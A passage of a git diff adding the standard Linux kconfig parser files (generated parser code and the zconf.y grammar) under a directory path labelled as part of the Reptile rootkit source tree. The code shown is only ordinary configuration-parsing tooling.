((yyvsp[(1) - (4)].id)->stype != S_UNKNOWN) + menu_set_type((yyvsp[(1) - (4)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:default(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (4)].id)->stype); +} + break; + + case 44: + + { + menu_add_symbol(P_SELECT, sym_lookup((yyvsp[(2) - (4)].string), 0), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:select\n", zconf_curname(), zconf_lineno()); +} + break; + + case 45: + + { + menu_add_expr(P_RANGE, expr_alloc_comp(E_RANGE,(yyvsp[(2) - (5)].symbol), (yyvsp[(3) - (5)].symbol)), (yyvsp[(4) - (5)].expr)); + printd(DEBUG_PARSE, "%s:%d:range\n", zconf_curname(), zconf_lineno()); +} + break; + + case 48: + + { + const struct kconf_id *id = kconf_id_lookup((yyvsp[(2) - (3)].string), strlen((yyvsp[(2) - (3)].string))); + if (id && id->flags & TF_OPTION) + menu_add_option(id->token, (yyvsp[(3) - (3)].string)); + else + zconfprint("warning: ignoring unknown option %s", (yyvsp[(2) - (3)].string)); + free((yyvsp[(2) - (3)].string)); +} + break; + + case 49: + + { (yyval.string) = NULL; } + break; + + case 50: + + { (yyval.string) = (yyvsp[(2) - (2)].string); } + break; + + case 51: + + { + struct symbol *sym = sym_lookup((yyvsp[(2) - (3)].string), SYMBOL_CHOICE); + sym->flags |= SYMBOL_AUTO; + menu_add_entry(sym); + menu_add_expr(P_CHOICE, NULL, NULL); + printd(DEBUG_PARSE, "%s:%d:choice\n", zconf_curname(), zconf_lineno()); +} + break; + + case 52: + + { + (yyval.menu) = menu_add_menu(); +} + break; + + case 53: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_CHOICE, T_ENDCHOICE)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endchoice\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 61: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(2) - (4)].string), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +} + break; + + case 62: + + { + if ((yyvsp[(1) - (3)].id)->stype == S_BOOLEAN || (yyvsp[(1) - (3)].id)->stype == S_TRISTATE) { + menu_set_type((yyvsp[(1) - (3)].id)->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + (yyvsp[(1) - (3)].id)->stype); + } else + YYERROR; +} + break; + + case 63: + + { + current_entry->sym->flags |= SYMBOL_OPTIONAL; + printd(DEBUG_PARSE, "%s:%d:optional\n", zconf_curname(), zconf_lineno()); +} + break; + + case 64: + + { + if ((yyvsp[(1) - (4)].id)->stype == S_UNKNOWN) { + menu_add_symbol(P_DEFAULT, sym_lookup((yyvsp[(2) - (4)].string), 0), (yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:default\n", + zconf_curname(), zconf_lineno()); + } else + YYERROR; +} + break; + + case 67: + + { + printd(DEBUG_PARSE, "%s:%d:if\n", zconf_curname(), zconf_lineno()); + menu_add_entry(NULL); + menu_add_dep((yyvsp[(2) - (3)].expr)); + (yyval.menu) = menu_add_menu(); +} + break; + + case 68: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_IF, T_ENDIF)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endif\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 74: + + { + menu_add_prompt(P_MENU, (yyvsp[(2) - (3)].string), NULL); +} + break; + + case 75: + + { + menu_add_entry(NULL); + menu_add_prompt(P_MENU, (yyvsp[(2) - (3)].string), NULL); + printd(DEBUG_PARSE, "%s:%d:menu\n", zconf_curname(), zconf_lineno()); +} + break; + + case 76: + + { + (yyval.menu) = menu_add_menu(); +} + break; + + case 77: + + { + if (zconf_endtoken((yyvsp[(1) - (1)].id), T_MENU, T_ENDMENU)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endmenu\n", zconf_curname(), zconf_lineno()); + } +} + break; + + case 83: + + { + printd(DEBUG_PARSE, "%s:%d:source %s\n", zconf_curname(), zconf_lineno(), (yyvsp[(2) - (3)].string)); + zconf_nextfile((yyvsp[(2) - (3)].string)); +} + break; + + case 84: + + { + menu_add_entry(NULL); + menu_add_prompt(P_COMMENT, (yyvsp[(2) - (3)].string), NULL); + printd(DEBUG_PARSE, "%s:%d:comment\n", zconf_curname(), zconf_lineno()); +} + break; + + case 85: + + { + menu_end_entry(); +} + break; + + case 86: + + { + printd(DEBUG_PARSE, "%s:%d:help\n", zconf_curname(), zconf_lineno()); + zconf_starthelp(); +} + break; + + case 87: + + { + current_entry->help = (yyvsp[(2) - (2)].string); +} + break; + + case 92: + + { + menu_add_dep((yyvsp[(3) - (4)].expr)); + printd(DEBUG_PARSE, "%s:%d:depends on\n", zconf_curname(), zconf_lineno()); +} + break; + + case 96: + + { + menu_add_visibility((yyvsp[(2) - (2)].expr)); +} + break; + + case 98: + + { + menu_add_prompt(P_PROMPT, (yyvsp[(1) - (2)].string), (yyvsp[(2) - (2)].expr)); +} + break; + + case 101: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 102: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 103: + + { (yyval.id) = (yyvsp[(1) - (2)].id); } + break; + + case 106: + + { (yyval.expr) = NULL; } + break; + + case 107: + + { (yyval.expr) = (yyvsp[(2) - (2)].expr); } + break; + + case 108: + + { (yyval.expr) = expr_alloc_symbol((yyvsp[(1) - (1)].symbol)); } + break; + + case 109: + + { (yyval.expr) = expr_alloc_comp(E_EQUAL, (yyvsp[(1) - (3)].symbol), (yyvsp[(3) - (3)].symbol)); } + break; + + case 110: + + { (yyval.expr) = expr_alloc_comp(E_UNEQUAL, (yyvsp[(1) - (3)].symbol), (yyvsp[(3) - (3)].symbol)); } + break; + + case 111: + + { (yyval.expr) = (yyvsp[(2) - (3)].expr); } + break; + + case 112: + + { (yyval.expr) = expr_alloc_one(E_NOT, (yyvsp[(2) - (2)].expr)); } + break; + + case 113: + + { (yyval.expr) = expr_alloc_two(E_OR, (yyvsp[(1) - (3)].expr), (yyvsp[(3) - (3)].expr)); } + break; + + case 114: + + { (yyval.expr) = expr_alloc_two(E_AND, (yyvsp[(1) - (3)].expr), (yyvsp[(3) - (3)].expr)); } + break; + + case 115: + + { (yyval.symbol) = sym_lookup((yyvsp[(1) - (1)].string), 0); free((yyvsp[(1) - (1)].string)); } + break; + + case 116: + + { (yyval.symbol) = sym_lookup((yyvsp[(1) - (1)].string), SYMBOL_CONST); free((yyvsp[(1) - (1)].string)); } + break; + + case 117: + + { (yyval.string) = NULL; } + break; + + + + default: break; + } + /* User semantic actions sometimes alter yychar, and that requires + that yytoken be updated with the new translation. We take the + approach of translating immediately before every use of yytoken. + One alternative is translating here after every semantic action, + but that translation would be missed if the semantic action invokes + YYABORT, YYACCEPT, or YYERROR immediately after altering yychar or + if it invokes YYBACKUP. In the case of YYABORT or YYACCEPT, an + incorrect destructor might then be invoked immediately. In the + case of YYERROR or YYBACKUP, subsequent parser actions might lead + to an incorrect destructor call or verbose syntax error message + before the lookahead is translated. */ + YY_SYMBOL_PRINT ("-> $$ =", yyr1[yyn], &yyval, &yyloc); + + YYPOPSTACK (yylen); + yylen = 0; + YY_STACK_PRINT (yyss, yyssp); + + *++yyvsp = yyval; + + /* Now `shift' the result of the reduction. Determine what state + that goes to, based on the state we popped back to and the rule + number reduced by. */ + + yyn = yyr1[yyn]; + + yystate = yypgoto[yyn - YYNTOKENS] + *yyssp; + if (0 <= yystate && yystate <= YYLAST && yycheck[yystate] == *yyssp) + yystate = yytable[yystate]; + else + yystate = yydefgoto[yyn - YYNTOKENS]; + + goto yynewstate; + + +/*------------------------------------. +| yyerrlab -- here on detecting error | +`------------------------------------*/ +yyerrlab: + /* Make sure we have latest lookahead translation. See comments at + user semantic actions for why this is necessary. */ + yytoken = yychar == YYEMPTY ? YYEMPTY : YYTRANSLATE (yychar); + + /* If not already recovering from an error, report this error. */ + if (!yyerrstatus) + { + ++yynerrs; +#if ! YYERROR_VERBOSE + yyerror (YY_("syntax error")); +#else +# define YYSYNTAX_ERROR yysyntax_error (&yymsg_alloc, &yymsg, \ + yyssp, yytoken) + { + char const *yymsgp = YY_("syntax error"); + int yysyntax_error_status; + yysyntax_error_status = YYSYNTAX_ERROR; + if (yysyntax_error_status == 0) + yymsgp = yymsg; + else if (yysyntax_error_status == 1) + { + if (yymsg != yymsgbuf) + YYSTACK_FREE (yymsg); + yymsg = (char *) YYSTACK_ALLOC (yymsg_alloc); + if (!yymsg) + { + yymsg = yymsgbuf; + yymsg_alloc = sizeof yymsgbuf; + yysyntax_error_status = 2; + } + else + { + yysyntax_error_status = YYSYNTAX_ERROR; + yymsgp = yymsg; + } + } + yyerror (yymsgp); + if (yysyntax_error_status == 2) + goto yyexhaustedlab; + } +# undef YYSYNTAX_ERROR +#endif + } + + + + if (yyerrstatus == 3) + { + /* If just tried and failed to reuse lookahead token after an + error, discard it. */ + + if (yychar <= YYEOF) + { + /* Return failure if at end of input. */ + if (yychar == YYEOF) + YYABORT; + } + else + { + yydestruct ("Error: discarding", + yytoken, &yylval); + yychar = YYEMPTY; + } + } + + /* Else will try to reuse lookahead token after shifting the error + token. */ + goto yyerrlab1; + + +/*---------------------------------------------------. +| yyerrorlab -- error raised explicitly by YYERROR. | +`---------------------------------------------------*/ +yyerrorlab: + + /* Pacify compilers like GCC when the user code never invokes + YYERROR and the label yyerrorlab therefore never appears in user + code. */ + if (/*CONSTCOND*/ 0) + goto yyerrorlab; + + /* Do not reclaim the symbols of the rule which action triggered + this YYERROR. */ + YYPOPSTACK (yylen); + yylen = 0; + YY_STACK_PRINT (yyss, yyssp); + yystate = *yyssp; + goto yyerrlab1; + + +/*-------------------------------------------------------------. +| yyerrlab1 -- common code for both syntax error and YYERROR. | +`-------------------------------------------------------------*/ +yyerrlab1: + yyerrstatus = 3; /* Each real token shifted decrements this. */ + + for (;;) + { + yyn = yypact[yystate]; + if (!yypact_value_is_default (yyn)) + { + yyn += YYTERROR; + if (0 <= yyn && yyn <= YYLAST && yycheck[yyn] == YYTERROR) + { + yyn = yytable[yyn]; + if (0 < yyn) + break; + } + } + + /* Pop the current state because it cannot handle the error token. */ + if (yyssp == yyss) + YYABORT; + + + yydestruct ("Error: popping", + yystos[yystate], yyvsp); + YYPOPSTACK (1); + yystate = *yyssp; + YY_STACK_PRINT (yyss, yyssp); + } + + *++yyvsp = yylval; + + + /* Shift the error token. */ + YY_SYMBOL_PRINT ("Shifting", yystos[yyn], yyvsp, yylsp); + + yystate = yyn; + goto yynewstate; + + +/*-------------------------------------. +| yyacceptlab -- YYACCEPT comes here. | +`-------------------------------------*/ +yyacceptlab: + yyresult = 0; + goto yyreturn; + +/*-----------------------------------. +| yyabortlab -- YYABORT comes here. | +`-----------------------------------*/ +yyabortlab: + yyresult = 1; + goto yyreturn; + +#if !defined(yyoverflow) || YYERROR_VERBOSE +/*-------------------------------------------------. +| yyexhaustedlab -- memory exhaustion comes here. | +`-------------------------------------------------*/ +yyexhaustedlab: + yyerror (YY_("memory exhausted")); + yyresult = 2; + /* Fall through. */ +#endif + +yyreturn: + if (yychar != YYEMPTY) + { + /* Make sure we have latest lookahead translation. See comments at + user semantic actions for why this is necessary. */ + yytoken = YYTRANSLATE (yychar); + yydestruct ("Cleanup: discarding lookahead", + yytoken, &yylval); + } + /* Do not reclaim the symbols of the rule which action triggered + this YYABORT or YYACCEPT. */ + YYPOPSTACK (yylen); + YY_STACK_PRINT (yyss, yyssp); + while (yyssp != yyss) + { + yydestruct ("Cleanup: popping", + yystos[*yyssp], yyvsp); + YYPOPSTACK (1); + } +#ifndef yyoverflow + if (yyss != yyssa) + YYSTACK_FREE (yyss); +#endif +#if YYERROR_VERBOSE + if (yymsg != yymsgbuf) + YYSTACK_FREE (yymsg); +#endif + /* Make sure YYID is used. */ + return YYID (yyresult); +} + + + + + +void conf_parse(const char *name) +{ + struct symbol *sym; + int i; + + zconf_initscan(name); + + sym_init(); + _menu_init(); + rootmenu.prompt = menu_add_prompt(P_MENU, PRODUCT" Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; + zconfparse(); + if (zconfnerrs) + exit(1); + if (!modules_sym) + modules_sym = sym_find( "n" ); + + rootmenu.prompt->text = _(rootmenu.prompt->text); + rootmenu.prompt->text = sym_expand_string_value(rootmenu.prompt->text); + + menu_finalize(&rootmenu); + for_all_symbols(i, sym) { + if (sym_check_deps(sym)) + zconfnerrs++; + } + if (zconfnerrs) + exit(1); + sym_set_change_count(1); +} + +static const char *zconf_tokenname(int token) +{ + switch (token) { + case T_MENU: return "menu"; + case T_ENDMENU: return "endmenu"; + case T_CHOICE: return "choice"; + case T_ENDCHOICE: return "endchoice"; + case T_IF: return "if"; + case T_ENDIF: return "endif"; + case T_DEPENDS: return "depends"; + case T_VISIBLE: return "visible"; + } + return ""; +} + +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken) +{ + if (id->token != endtoken) { + zconf_error("unexpected '%s' within %s block", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + if (current_menu->file != current_file) { + zconf_error("'%s' in different file than '%s'", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + fprintf(stderr, "%s:%d: location of the '%s'\n", + current_menu->file->name, current_menu->lineno, + zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + return true; +} + +static void zconfprint(const char *err, ...) +{ + va_list ap; + + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconf_error(const char *err, ...) +{ + va_list ap; + + zconfnerrs++; + fprintf(stderr, "%s:%d: ", zconf_curname(), zconf_lineno()); + va_start(ap, err); + vfprintf(stderr, err, ap); + va_end(ap); + fprintf(stderr, "\n"); +} + +static void zconferror(const char *err) +{ + fprintf(stderr, "%s:%d: %s\n", zconf_curname(), zconf_lineno() + 1, err); +} + +static void print_quoted_string(FILE *out, const char *str) +{ + const char *p; + int len; + + putc('"', out); + while ((p = strchr(str, '"'))) { + len = p - str; + if (len) + fprintf(out, "%.*s", len, str); + fputs("\\\"", out); + str = p + 1; + } + fputs(str, out); + putc('"', out); +} + +static void print_symbol(FILE *out, struct menu *menu) +{ + struct symbol *sym = menu->sym; + struct property *prop; + + if (sym_is_choice(sym)) + fprintf(out, "\nchoice\n"); + else + fprintf(out, "\nconfig %s\n", sym->name); + switch (sym->type) { + case S_BOOLEAN: + fputs(" boolean\n", out); + break; + case S_TRISTATE: + fputs(" tristate\n", out); + break; + case S_STRING: + fputs(" string\n", out); + break; + case S_INT: + fputs(" integer\n", out); + break; + case S_HEX: + fputs(" hex\n", out); + break; + default: + fputs(" ???\n", out); + break; + } + for (prop = sym->prop; prop; prop = prop->next) { + if (prop->menu != menu) + continue; + switch (prop->type) { + case P_PROMPT: + fputs(" prompt ", out); + print_quoted_string(out, prop->text); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_DEFAULT: + fputs( " default ", out); + expr_fprint(prop->expr, out); + if (!expr_is_yes(prop->visible.expr)) { + fputs(" if ", out); + expr_fprint(prop->visible.expr, out); + } + fputc('\n', out); + break; + case P_CHOICE: + fputs(" #choice value\n", out); + break; + case P_SELECT: + fputs( " select ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_RANGE: + fputs( " range ", out); + expr_fprint(prop->expr, out); + fputc('\n', out); + break; + case P_MENU: + fputs( " menu ", out); + print_quoted_string(out, prop->text); + fputc('\n', out); + break; + default: + fprintf(out, " unknown prop %d!\n", prop->type); + break; + } + } + if (menu->help) { + int len = strlen(menu->help); + while (menu->help[--len] == '\n') + menu->help[len] = 0; + fprintf(out, " help\n%s\n", menu->help); + } +} + +void zconfdump(FILE *out) +{ + struct property *prop; + struct symbol *sym; + struct menu *menu; + + menu = rootmenu.list; + while (menu) { + if ((sym = menu->sym)) + print_symbol(out, menu); + else if ((prop = menu->prompt)) { + switch (prop->type) { + case P_COMMENT: + fputs("\ncomment ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + case P_MENU: + fputs("\nmenu ", out); + print_quoted_string(out, prop->text); + fputs("\n", out); + break; + default: + ; + } + if (!expr_is_yes(prop->visible.expr)) { + fputs(" depends ", out); + expr_fprint(prop->visible.expr, out); + fputc('\n', out); + } + } + + if (menu->list) + menu = menu->list; + else if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->prompt && menu->prompt->type == P_MENU) + fputs("\nendmenu\n", out); + if (menu->next) { + menu = menu->next; + break; + } + } + } +} + +#include "zconf.lex.c" +#include "util.c" +#include "confdata.c" +#include "expr.c" +#include "symbol.c" +#include "menu.c" + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/zconf.y b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.y new file mode 100644 index 0000000..33b4a54 --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/zconf.y @@ -0,0 +1,733 @@ +%{ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + */ + +#include +#include +#include +#include +#include +#include + +#include "lkc.h" + +#define printd(mask, fmt...) if (cdebug & (mask)) printf(fmt) + +#define PRINTD 0x0001 +#define DEBUG_PARSE 0x0002 + +int cdebug = PRINTD; + +extern int zconflex(void); +static void zconfprint(const char *err, ...); +static void zconf_error(const char *err, ...); +static void zconferror(const char *err); +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken); + +struct symbol *symbol_hash[SYMBOL_HASHSIZE]; + +static struct menu *current_menu, *current_entry; + +%} +%expect 30 + +%union +{ + char *string; + struct file *file; + struct symbol *symbol; + struct expr *expr; + struct menu *menu; + const struct kconf_id *id; +} + +%token T_MAINMENU +%token T_MENU +%token T_ENDMENU +%token T_SOURCE +%token T_CHOICE +%token T_ENDCHOICE +%token T_COMMENT +%token T_CONFIG +%token T_MENUCONFIG +%token T_HELP +%token T_HELPTEXT +%token T_IF +%token T_ENDIF +%token T_DEPENDS +%token T_OPTIONAL +%token T_PROMPT +%token T_TYPE +%token T_DEFAULT +%token T_SELECT +%token T_RANGE +%token T_VISIBLE +%token T_OPTION +%token T_ON +%token T_WORD +%token T_WORD_QUOTE +%token T_UNEQUAL +%token T_CLOSE_PAREN +%token T_OPEN_PAREN +%token T_EOL + +%left T_OR +%left T_AND +%left T_EQUAL T_UNEQUAL +%nonassoc T_NOT + +%type prompt +%type symbol +%type expr +%type if_expr +%type end +%type option_name +%type if_entry menu_entry choice_entry +%type symbol_option_arg word_opt + +%destructor { + fprintf(stderr, "%s:%d: missing end statement for this entry\n", + $$->file->name, $$->lineno); + if (current_menu == $$) + menu_end_menu(); +} if_entry menu_entry choice_entry + +%{ +/* Include zconf.hash.c here so it can see the token constants. */ +#include "zconf.hash.c" +%} + +%% +input: nl start | start; + +start: mainmenu_stmt stmt_list | stmt_list; + +stmt_list: + /* empty */ + | stmt_list common_stmt + | stmt_list choice_stmt + | stmt_list menu_stmt + | stmt_list end { zconf_error("unexpected end statement"); } + | stmt_list T_WORD error T_EOL { zconf_error("unknown statement \"%s\"", $2); } + | stmt_list option_name error T_EOL +{ + zconf_error("unexpected option \"%s\"", kconf_id_strings + $2->name); +} + | stmt_list error T_EOL { zconf_error("invalid statement"); } +; + +option_name: + T_DEPENDS | T_PROMPT | T_TYPE | T_SELECT | T_OPTIONAL | T_RANGE | T_DEFAULT | T_VISIBLE +; + +common_stmt: + T_EOL + | if_stmt + | comment_stmt + | config_stmt + | menuconfig_stmt + | source_stmt +; + +option_error: + T_WORD error T_EOL { zconf_error("unknown option \"%s\"", $1); } + | error T_EOL { zconf_error("invalid option"); } +; + + +/* config/menuconfig entry */ + +config_entry_start: T_CONFIG T_WORD T_EOL +{ + struct symbol *sym = sym_lookup($2, 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:config %s\n", zconf_curname(), zconf_lineno(), $2); +}; + +config_stmt: config_entry_start config_option_list +{ + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +}; + +menuconfig_entry_start: T_MENUCONFIG T_WORD T_EOL +{ + struct symbol *sym = sym_lookup($2, 0); + sym->flags |= SYMBOL_OPTIONAL; + menu_add_entry(sym); + printd(DEBUG_PARSE, "%s:%d:menuconfig %s\n", zconf_curname(), zconf_lineno(), $2); +}; + +menuconfig_stmt: menuconfig_entry_start config_option_list +{ + if (current_entry->prompt) + current_entry->prompt->type = P_MENU; + else + zconfprint("warning: menuconfig statement without prompt"); + menu_end_entry(); + printd(DEBUG_PARSE, "%s:%d:endconfig\n", zconf_curname(), zconf_lineno()); +}; + +config_option_list: + /* empty */ + | config_option_list config_option + | config_option_list symbol_option + | config_option_list depends + | config_option_list help + | config_option_list option_error + | config_option_list T_EOL +; + +config_option: T_TYPE prompt_stmt_opt T_EOL +{ + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); +}; + +config_option: T_PROMPT prompt if_expr T_EOL +{ + menu_add_prompt(P_PROMPT, $2, $3); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +}; + +config_option: T_DEFAULT expr if_expr T_EOL +{ + menu_add_expr(P_DEFAULT, $2, $3); + if ($1->stype != S_UNKNOWN) + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:default(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); +}; + +config_option: T_SELECT T_WORD if_expr T_EOL +{ + menu_add_symbol(P_SELECT, sym_lookup($2, 0), $3); + printd(DEBUG_PARSE, "%s:%d:select\n", zconf_curname(), zconf_lineno()); +}; + +config_option: T_RANGE symbol symbol if_expr T_EOL +{ + menu_add_expr(P_RANGE, expr_alloc_comp(E_RANGE,$2, $3), $4); + printd(DEBUG_PARSE, "%s:%d:range\n", zconf_curname(), zconf_lineno()); +}; + +symbol_option: T_OPTION symbol_option_list T_EOL +; + +symbol_option_list: + /* empty */ + | symbol_option_list T_WORD symbol_option_arg +{ + const struct kconf_id *id = kconf_id_lookup($2, strlen($2)); + if (id && id->flags & TF_OPTION) + menu_add_option(id->token, $3); + else + zconfprint("warning: ignoring unknown option %s", $2); + free($2); +}; + +symbol_option_arg: + /* empty */ { $$ = NULL; } + | T_EQUAL prompt { $$ = $2; } +; + +/* choice entry */ + +choice: T_CHOICE word_opt T_EOL +{ + struct symbol *sym = sym_lookup($2, SYMBOL_CHOICE); + sym->flags |= SYMBOL_AUTO; + menu_add_entry(sym); + menu_add_expr(P_CHOICE, NULL, NULL); + printd(DEBUG_PARSE, "%s:%d:choice\n", zconf_curname(), zconf_lineno()); +}; + +choice_entry: choice choice_option_list +{ + $$ = menu_add_menu(); +}; + +choice_end: end +{ + if (zconf_endtoken($1, T_CHOICE, T_ENDCHOICE)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endchoice\n", zconf_curname(), zconf_lineno()); + } +}; + +choice_stmt: choice_entry choice_block choice_end +; + +choice_option_list: + /* empty */ + | choice_option_list choice_option + | choice_option_list depends + | choice_option_list help + | choice_option_list T_EOL + | choice_option_list option_error +; + +choice_option: T_PROMPT prompt if_expr T_EOL +{ + menu_add_prompt(P_PROMPT, $2, $3); + printd(DEBUG_PARSE, "%s:%d:prompt\n", zconf_curname(), zconf_lineno()); +}; + +choice_option: T_TYPE prompt_stmt_opt T_EOL +{ + if ($1->stype == S_BOOLEAN || $1->stype == S_TRISTATE) { + menu_set_type($1->stype); + printd(DEBUG_PARSE, "%s:%d:type(%u)\n", + zconf_curname(), zconf_lineno(), + $1->stype); + } else + YYERROR; +}; + +choice_option: T_OPTIONAL T_EOL +{ + current_entry->sym->flags |= SYMBOL_OPTIONAL; + printd(DEBUG_PARSE, "%s:%d:optional\n", zconf_curname(), zconf_lineno()); +}; + +choice_option: T_DEFAULT T_WORD if_expr T_EOL +{ + if ($1->stype == S_UNKNOWN) { + menu_add_symbol(P_DEFAULT, sym_lookup($2, 0), $3); + printd(DEBUG_PARSE, "%s:%d:default\n", + zconf_curname(), zconf_lineno()); + } else + YYERROR; +}; + +choice_block: + /* empty */ + | choice_block common_stmt +; + +/* if entry */ + +if_entry: T_IF expr nl +{ + printd(DEBUG_PARSE, "%s:%d:if\n", zconf_curname(), zconf_lineno()); + menu_add_entry(NULL); + menu_add_dep($2); + $$ = menu_add_menu(); +}; + +if_end: end +{ + if (zconf_endtoken($1, T_IF, T_ENDIF)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endif\n", zconf_curname(), zconf_lineno()); + } +}; + +if_stmt: if_entry if_block if_end +; + +if_block: + /* empty */ + | if_block common_stmt + | if_block menu_stmt + | if_block choice_stmt +; + +/* mainmenu entry */ + +mainmenu_stmt: T_MAINMENU prompt nl +{ + menu_add_prompt(P_MENU, $2, NULL); +}; + +/* menu entry */ + +menu: T_MENU prompt T_EOL +{ + menu_add_entry(NULL); + menu_add_prompt(P_MENU, $2, NULL); + printd(DEBUG_PARSE, "%s:%d:menu\n", zconf_curname(), zconf_lineno()); +}; + +menu_entry: menu visibility_list depends_list +{ + $$ = menu_add_menu(); +}; + +menu_end: end +{ + if (zconf_endtoken($1, T_MENU, T_ENDMENU)) { + menu_end_menu(); + printd(DEBUG_PARSE, "%s:%d:endmenu\n", zconf_curname(), zconf_lineno()); + } +}; + +menu_stmt: menu_entry menu_block menu_end +; + +menu_block: + /* empty */ + | menu_block common_stmt + | menu_block menu_stmt + | menu_block choice_stmt +; + +source_stmt: T_SOURCE prompt T_EOL +{ + printd(DEBUG_PARSE, "%s:%d:source %s\n", zconf_curname(), zconf_lineno(), $2); + zconf_nextfile($2); +}; + +/* comment entry */ + +comment: T_COMMENT prompt T_EOL +{ + menu_add_entry(NULL); + menu_add_prompt(P_COMMENT, $2, NULL); + printd(DEBUG_PARSE, "%s:%d:comment\n", zconf_curname(), zconf_lineno()); +}; + +comment_stmt: comment depends_list +{ + menu_end_entry(); +}; + +/* help option */ + +help_start: T_HELP T_EOL +{ + printd(DEBUG_PARSE, "%s:%d:help\n", zconf_curname(), zconf_lineno()); + zconf_starthelp(); +}; + +help: help_start T_HELPTEXT +{ + current_entry->help = $2; +}; + +/* depends option */ + +depends_list: + /* empty */ + | depends_list depends + | depends_list T_EOL + | depends_list option_error +; + +depends: T_DEPENDS T_ON expr T_EOL +{ + menu_add_dep($3); + printd(DEBUG_PARSE, "%s:%d:depends on\n", zconf_curname(), zconf_lineno()); +}; + +/* visibility option */ + +visibility_list: + /* empty */ + | visibility_list visible + | visibility_list T_EOL +; + +visible: T_VISIBLE if_expr +{ + menu_add_visibility($2); +}; + +/* prompt statement */ + +prompt_stmt_opt: + /* empty */ + | prompt if_expr +{ + menu_add_prompt(P_PROMPT, $1, $2); +}; + +prompt: T_WORD + | T_WORD_QUOTE +; + +end: T_ENDMENU T_EOL { $$ = $1; } + | T_ENDCHOICE T_EOL { $$ = $1; } + | T_ENDIF T_EOL { $$ = $1; } +; + +nl: + T_EOL + | nl T_EOL +; + +if_expr: /* empty */ { $$ = NULL; } + | T_IF expr { $$ = $2; } +; + +expr: symbol { $$ = expr_alloc_symbol($1); } + | symbol T_EQUAL symbol { $$ = expr_alloc_comp(E_EQUAL, $1, $3); } + | symbol T_UNEQUAL symbol { $$ = expr_alloc_comp(E_UNEQUAL, $1, $3); } + | T_OPEN_PAREN expr T_CLOSE_PAREN { $$ = $2; } + | T_NOT expr { $$ = expr_alloc_one(E_NOT, $2); } + | expr T_OR expr { $$ = expr_alloc_two(E_OR, $1, $3); } + | expr T_AND expr { $$ = expr_alloc_two(E_AND, $1, $3); } +; + +symbol: T_WORD { $$ = sym_lookup($1, 0); free($1); } + | T_WORD_QUOTE { $$ = sym_lookup($1, SYMBOL_CONST); free($1); } +; + +word_opt: /* empty */ { $$ = NULL; } + | T_WORD + +%% + +void conf_parse(const char *name) +{ + struct symbol *sym; + int i; + + zconf_initscan(name); + + sym_init(); + _menu_init(); + rootmenu.prompt = menu_add_prompt(P_MENU, PRODUCT" Configuration", NULL); + + if (getenv("ZCONF_DEBUG")) + zconfdebug = 1; + zconfparse(); + if (zconfnerrs) + exit(1); + if (!modules_sym) + modules_sym = sym_find( "n" ); + + rootmenu.prompt->text = _(rootmenu.prompt->text); + rootmenu.prompt->text = sym_expand_string_value(rootmenu.prompt->text); + + menu_finalize(&rootmenu); + for_all_symbols(i, sym) { + if (sym_check_deps(sym)) + zconfnerrs++; + } + if (zconfnerrs) + exit(1); + sym_set_change_count(1); +} + +static const char *zconf_tokenname(int token) +{ + switch (token) { + case T_MENU: return "menu"; + case T_ENDMENU: return "endmenu"; + case T_CHOICE: return "choice"; + case T_ENDCHOICE: return "endchoice"; + case T_IF: return "if"; + case T_ENDIF: return "endif"; + case T_DEPENDS: return "depends"; + case T_VISIBLE: return "visible"; + } + return ""; +} + +static bool zconf_endtoken(const struct kconf_id *id, int starttoken, int endtoken) +{ + if (id->token != endtoken) { + zconf_error("unexpected '%s' within %s block", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + zconfnerrs++; + return false; + } + if (current_menu->file != current_file) { + zconf_error("'%s' in different file than '%s'", + kconf_id_strings + id->name, zconf_tokenname(starttoken)); + fprintf(stderr, "%s:%d: location of the '%s'\n", + 